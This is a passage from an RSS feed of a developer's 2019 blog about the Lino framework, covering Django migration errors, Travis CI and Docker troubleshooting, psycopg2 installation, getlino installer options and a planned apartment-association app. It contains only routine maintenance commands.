&lt;h2&gt;‘Duration’ object has no attribute ‘_text’&lt;a class="headerlink" href="#duration-object-has-no-attribute-text" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tonis added a &lt;cite&gt;deconstructible&lt;/cite&gt; decorator to the custom values in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.quantities.html#module-lino.utils.quantities" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.quantities&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, but this caused most tests to break with above
error message.&lt;/p&gt;
&lt;p&gt;After reading the &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/migrations/#adding-a-deconstruct-method"&gt;Django docs&lt;/a&gt;
I guess that &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;#64;deconstructible&lt;/span&gt;&lt;/code&gt; doesn’t work as expected because these classes
have a &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__new__()&lt;/span&gt;&lt;/code&gt; method (no &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__init__()&lt;/span&gt;&lt;/code&gt; method).  I guess that we
must simply write our own deconstruct method.&lt;/p&gt;
&lt;p&gt;I reviewed the code and probably fixed the issue, added some cases to
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/quantities.html#book-dev-quantities" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Quantities&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="running-apt-get-upgrade-on-travis"&gt;
&lt;h2&gt;Running apt-get upgrade on travis&lt;a class="headerlink" href="#running-apt-get-upgrade-on-travis" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;sudo&lt;/span&gt; &lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;update&lt;/span&gt; &lt;span class="pre"&gt;-y&lt;/span&gt;&lt;/code&gt; (and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;upgrade&lt;/span&gt;&lt;/code&gt;) to the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
files of book and welfare because &lt;a class="reference external" href="https://travis-ci.org/lino-framework/welfare/jobs/568500457"&gt;a failure&lt;/a&gt;  suggested it.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0806.html</guid><pubDate>Tue, 06 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Monday, August 5, 2019</title><link>https://luc.lino-framework.org/blog/2019/0805.html</link><description>&lt;section id="monday-august-5-2019"&gt;
&lt;h1&gt;Monday, August 5, 2019&lt;a class="headerlink" href="#monday-august-5-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Error loading psycopg2 module: No module named ‘psycopg2’. OMG I am stupid.
Hamza actually fixed that bug but I undid it because I didn’t notice at that
moment the difference between apt packages and pip packages… Yes of course:
okay we select the db-engine only once per server, but startsite still must
install the corresponding pip packages in startsite for every site.&lt;/p&gt;
&lt;p&gt;Should we install psycopg2-binary or rather psycopg? –&amp;gt;  “The psycopg2-binary
package is a practical choice for development and testing but in production it
is advised to use the package built from sources.”
(&lt;a class="reference external" href="https://pypi.org/project/psycopg2/"&gt;https://pypi.org/project/psycopg2/&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;This caused an errror “You need to install postgresql-server-dev-NN for building
a server-side extension or libpq-dev for building a client-side application.”
–&amp;gt; I added &lt;a class="reference external" href="https://packages.debian.org/buster/libpq-dev"&gt;libpq-dev&lt;/a&gt; to the
apt_packages of postgresql dbengine.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/api/getlino.utils.html#getlino.utils.Installer.runcmd" title="(in getlino docs)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino.utils.Installer.runcmd()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; didn’t fail when the subprocess
failed. Fixed.&lt;/p&gt;
&lt;p&gt;More changes in the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file after reading &lt;a class="reference external" href="https://docs.travis-ci.com/user/reference/overview/#virtualization-environments"&gt;Travis docs&lt;/a&gt;.
No need to specify a python version as each Ubuntu distro has its default
version. Travis offers only Ubuntu images, no pure Debian.&lt;/p&gt;
&lt;p&gt;Fixed a problem with the postgresql database setup (it was adding an “;” at the
wrong place).&lt;/p&gt;
&lt;section id="running-inv-prep-in-a-project-without-demo-projects"&gt;
&lt;h2&gt;Running &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt; in a project without demo projects&lt;a class="headerlink" href="#running-inv-prep-in-a-project-without-demo-projects" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; command in getlino didn’t execute the prep.sh script because
getlino has no demo projects.  Instead of saying “inv prep test” we must say
“./prep.sh ; inv test” in the  &lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file.  But that’s
suboptimal. &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; should “run preparation tasks that need to run
before testing (but only once for all tests)”. When I run “pp inv prep test” it
should rebuild the images. I should not be forced to remember running prep.sh
manually before “pp inv prep test”. So we have now two config settings for
&lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-prep" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-prep_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;prep_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-demo_prep_command" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo_prep_command&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Released Atelier 1.1.14 (&lt;a class="reference external" href="https://atelier.lino-framework.org/changes/index.html#atelier-changes" title="(in atelier v1.1)"&gt;&lt;span&gt;Changes in atelier, rstgen and sphinxfeed&lt;/span&gt;&lt;/a&gt;) for testing it on travis for
getlino.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="telling-docker-where-to-store-images"&gt;
&lt;h2&gt;Telling Docker where to store images&lt;a class="headerlink" href="#telling-docker-where-to-store-images" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I am getting system warnings because Docker fills up my root filesystem.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/19234831/where-are-docker-images-stored-on-the-host-machine"&gt;https://stackoverflow.com/questions/19234831/where-are-docker-images-stored-on-the-host-machine&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But how to configure the &lt;a class="reference external" href="https://docs.docker.com/engine/reference/commandline/dockerd/"&gt;docker daemon&lt;/a&gt; on Ubuntu?&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://docs.docker.com/storage/storagedriver/"&gt;https://docs.docker.com/storage/storagedriver/&lt;/a&gt;
&lt;a class="reference external" href="https://docs.docker.com/storage/storagedriver/select-storage-driver/"&gt;https://docs.docker.com/storage/storagedriver/select-storage-driver/&lt;/a&gt;
&lt;a class="reference external" href="https://forums.docker.com/t/how-to-delete-cache/5753/2"&gt;https://forums.docker.com/t/how-to-delete-cache/5753/2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Finally I just said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker system prune
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which answered:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;WARNING! This will remove:
  - all stopped containers
  - all networks not used by at least one container
  - all dangling images
  - all dangling build cache

Are you sure you want to continue? [y/N] y
Deleted Containers:
cdd408dc0ee130d4498c82f0eed6609445b3ae290ef21c7739ef29ceca99fbd4
493ae1128f25bc144598661eaf854de527cdc7b4795ba1a34f9e46a0aa852012
48f9d5220778b8efd7db4bb041659b9b058f993e234e770e803e4cbeb18e4124
...
Total reclaimed space: 27.53GB
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0805.html</guid><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, August 3, 2019</title><link>https://luc.lino-framework.org/blog/2019/0803.html</link><description>&lt;section id="saturday-august-3-2019"&gt;
&lt;h1&gt;Saturday, August 3, 2019&lt;a class="headerlink" href="#saturday-august-3-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I discovered a bug in my mind (a vocabulary bug): instead of saying
“Application developer” and “Core developer”, we should say “Developer” and
“Contributor”.&lt;/p&gt;
&lt;p&gt;I reviewed &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt; to fix this bug.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; has a new option &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--contrib&lt;/span&gt;&lt;/code&gt; which will install all
repositories to your &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--repos-base&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We should start using at least two dockerfiles: one to test installation on a production server,
another to test installation into a virtual environment.&lt;/p&gt;
&lt;p&gt;I’ll probably need to understand &lt;a class="reference external" href="https://docs.docker.com/compose/"&gt;https://docs.docker.com/compose/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/27409761/multiple-dockerfiles-in-project"&gt;https://stackoverflow.com/questions/27409761/multiple-dockerfiles-in-project&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;We are having problems because &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;apt-get&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-y&lt;/span&gt; &lt;span class="pre"&gt;tzdata&lt;/span&gt;&lt;/code&gt; seems to ignore
&lt;cite&gt;DEBIAN_FRONTEND=noninteractive&lt;/cite&gt;.  It keeps asking interactively for our time
zone.  –&amp;gt; Seems that these problems didn’t go away because I should have
specified &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--no-cache&lt;/span&gt;&lt;/code&gt; for the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;docker&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When I start the Dockerfile from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;debian:buster&lt;/span&gt;&lt;/code&gt;, we have the problem that
&lt;cite&gt;monit&lt;/cite&gt; is not included with Debian Buster.   I read &lt;a class="reference external" href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=930637"&gt;this bug report&lt;/a&gt;. Interesting
story!  Rather sad for us since we definitively want monit.  &lt;a class="reference external" href="https://github.com/openmediavault/openmediavault/issues/410"&gt;Here&lt;/a&gt; they have the
same problem and suggest as workaround to “download the package from unstable
and install it with dpkg”.  I then read &lt;a class="reference external" href="https://serverfault.com/questions/22414/how-can-i-run-debian-stable-but-install-some-packages-from-testing"&gt;How can I run Debian stable but install
some packages from testing?&lt;/a&gt;.
Ouch, that looks quite complicated!  It requires some expertise to use packages
from unstable. It is not the kind of skills our customers want to pay for…&lt;/p&gt;
&lt;p&gt;As a temporary workaround I set the default for the &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;
&lt;span class="pre"&gt;--monit&lt;/span&gt;&lt;/code&gt; option to &lt;cite&gt;False&lt;/cite&gt;.  WE put it back to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;isroot&lt;/span&gt;&lt;/code&gt; when they have added
back monit to stable buster.&lt;/p&gt;
&lt;p&gt;A last problem for today: now it was using an old Django version.  This was
because (with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--contrib&lt;/span&gt;&lt;/code&gt;)  the repositories were being cloned and installing
in an arbitrary order (using &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;nickname,&lt;/span&gt; &lt;span class="pre"&gt;repo&lt;/span&gt; &lt;span class="pre"&gt;in&lt;/span&gt; &lt;span class="pre"&gt;REPOS_DICT.items()&lt;/span&gt;&lt;/code&gt;). So
e.g. noi was being installed before lino, it was downloading an old lino version
from PyPI, which still had “Django &amp;lt;2” requirement.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0803.html</guid><pubDate>Sat, 03 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Friday, August 2, 2019</title><link>https://luc.lino-framework.org/blog/2019/0802.html</link><description>&lt;section id="friday-august-2-2019"&gt;
&lt;h1&gt;Friday, August 2, 2019&lt;a class="headerlink" href="#friday-august-2-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-find-contributors"&gt;
&lt;h2&gt;How to find contributors?&lt;a class="headerlink" href="#how-to-find-contributors" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;GitHub now helps potential first-time contributors discover issues labeled with
“help wanted” or “good first issue”. We must create the labels ourselves on
GitHub and then post these issues.&lt;/p&gt;
&lt;p&gt;The problem is to find and document issues. Any idea of which ticket we could
publish there? I now created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3144"&gt;#3144&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But before asking for help we should invest more time into the developer’s
guide.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="django-migrations"&gt;
&lt;h2&gt;Django migrations&lt;a class="headerlink" href="#django-migrations" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This morning Tonis migrated &lt;a class="reference internal" href="../../about/friends.html#jane"&gt;&lt;span class="std std-ref"&gt;Jane&lt;/span&gt;&lt;/a&gt; into Django migrations (with Ivo and Luc
watching).&lt;/p&gt;
&lt;p&gt;I started a new page in the Hosters Guide : &lt;a class="reference external" href="https://hosting.lino-framework.org/djangomig/#djangomig" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Django migrations with Lino&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Lino no longer works with “Django &amp;lt;2.2” but requires “Django&amp;gt;2.2”. Which means
that we  will probably soon drop Python 2 support altogether. It’s the year 2019
after all. I think we must now dare to say to our customers that their next
release will include the passage to Python 3, which includes the passage to
Debian 10 because Debian 9 comes with a rather old Python 3.&lt;/p&gt;
&lt;p&gt;If you now run Lino in an environment with an old Django, you get quite quickly
the following error message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;MigrationWriter&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;register_serializer&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;In that case you know that you must run:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install -U Django
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Rename &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.migration_module&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.migration_package&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Set &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.migration_package&lt;/span&gt;&lt;/code&gt; automatically when instantiating the &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#setting-SITE" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;SITE&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;?
Must &lt;em&gt;every&lt;/em&gt; site have a  migration package? What about the demo projects?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;How to migrate a pre-19.8 Lino production site ?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Is the old system (&lt;a class="reference external" href="https://dev.lino-framework.org/dev/datamig.html#dg-datamig" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Data migrations à la Lino&lt;/span&gt;&lt;/a&gt;) still possible at all?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="lino-casa"&gt;
&lt;h2&gt;Lino Casa&lt;a class="headerlink" href="#lino-casa" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Lino Casa might be an interesting new project for Ivo. The basic idea is to
write a management software for apartment associations (korteriühistud).
Besides standard accounting features it would have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;A table of appartments where each appartment has&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;an owner (a contacts.Parter) who gets invoices&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;a size in square meters which is used for cost distribution&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Automatically generate monthly sales invoices to all owners.  Every appartment
will probably act as invoice generator.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ivo will now talk to managers of such associations and ask them about their
needs and expectations regarding a new application.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="attributesimpl-object-has-no-attribute-has-key"&gt;
&lt;h2&gt;‘AttributesImpl’ object has no attribute ‘has_key’&lt;a class="headerlink" href="#attributesimpl-object-has-no-attribute-has-key" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oh, what is causing &lt;a class="reference external" href="https://travis-ci.org/lino-framework/welfare/jobs/566508345"&gt;this failure on Travis&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;How can I find a list of packages in my enviroment which &lt;em&gt;would&lt;/em&gt; get updated
with &lt;cite&gt;pip –update&lt;/cite&gt;?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip list --outdated
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0802.html</guid><pubDate>Fri, 02 Aug 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, August 1, 2019</title><link>https://luc.lino-framework.org/blog/2019/0801.html</link><description>&lt;section id="thursday-august-1-2019"&gt;
&lt;h1&gt;Thursday, August 1, 2019&lt;a class="headerlink" href="#thursday-august-1-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="more-optimizations-in-getlino"&gt;
&lt;h2&gt;More optimizations in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;&lt;a class="headerlink" href="#more-optimizations-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I did some more things for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3036"&gt;#3036&lt;/a&gt;. Changes in lino, startsite and getlino.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;write a supervisor config file for linod&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;add new options “front-end” and “languages”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;generate random secret_key and db_password (default value for default_ui on
new sites)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;How to decide whether &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/linod.html#management_command-linod" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; must be installed for a site?  Basic
answer: when the site’s env has &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;schedule&lt;/span&gt;&lt;/code&gt; installed.  But how to see
whether the env has schedule installed?  And actually this is not really true
for sites which use the shared-env. So it’s better to add a new site attribute
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_linod&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I renamed &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-configure" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/specs/lino.html#management_command-install" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because I meanwhile think
that it was a bad idea to use the same name. “configure” implies that it will
ask questions.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Maybe add a new option server-features with default values “appy monit mysql
pgsql https redis” instead of having lots of boolean options&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;New options mysql and pgsql (the server features). db-engine becomes the
default value for new sites. Check whether the selected db-engine is available
on this server&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Generate secret_key and db_password.&lt;/p&gt;
&lt;p&gt;New server options &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-db-user" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--db-user&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-db-password" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--db-password&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Because
when testing we prefer to reuse the same db user again and again.&lt;/p&gt;
&lt;p&gt;HAMZA:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;new option configure –ldap : install an LDAP &lt;em&gt;server&lt;/em&gt; (a stand-alone server,
independently of any Lino site)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ldap-bind, ldap-uri, … : these parameters will configure new sites to &lt;em&gt;use&lt;/em&gt;
LDAP (as a client). Probably using django-auth-ldap. This can also be used
without –ldap when the LDAP server is somewhere else. NB nginx must also
protect webdav location using these settings.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;LUC:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;the test suite should not only create a site but also test whether the server
responds. Using cypress?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;adapt the installation instructions in &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; : use getlino. Move the
details of installation instructions from book to the getlino docs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Should getlino write a bash_aliases config file (either system-wide or per
user)? –&amp;gt; No, this seems too intrusive.  Rather write some “recommendations
after installation” in the book.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="kleiderkammer-inkl-mwst"&gt;
&lt;h2&gt;Kleiderkammer inkl MWSt&lt;a class="headerlink" href="#kleiderkammer-inkl-mwst" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The document generated by &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;aids/Confirmation/clothing_bank.body.html&lt;/span&gt;&lt;/code&gt; in
&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.aids.html#module-lino_welfare.modlib.aids" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.aids&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; should mention that all amounts are “VAT
excluded”.  I wrote a first suggestion, using an optimization in the
&lt;a class="reference external" href="https://welfare.lino-framework.org/specs/households.html#lino_welfare.modlib.households.RefundsByPerson" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.households.RefundsByPerson&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; table.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="changed-some-option-names-in-getlino"&gt;
&lt;h2&gt;Changed some option names in getlino&lt;a class="headerlink" href="#changed-some-option-names-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Actually I just want to write a comprehensive installation page for Lino… but
ended up by optimizing some option names:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;projects-root becomes sites-base&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;repositories-root becomes repos-base&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;backups-root becomes backups-base&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
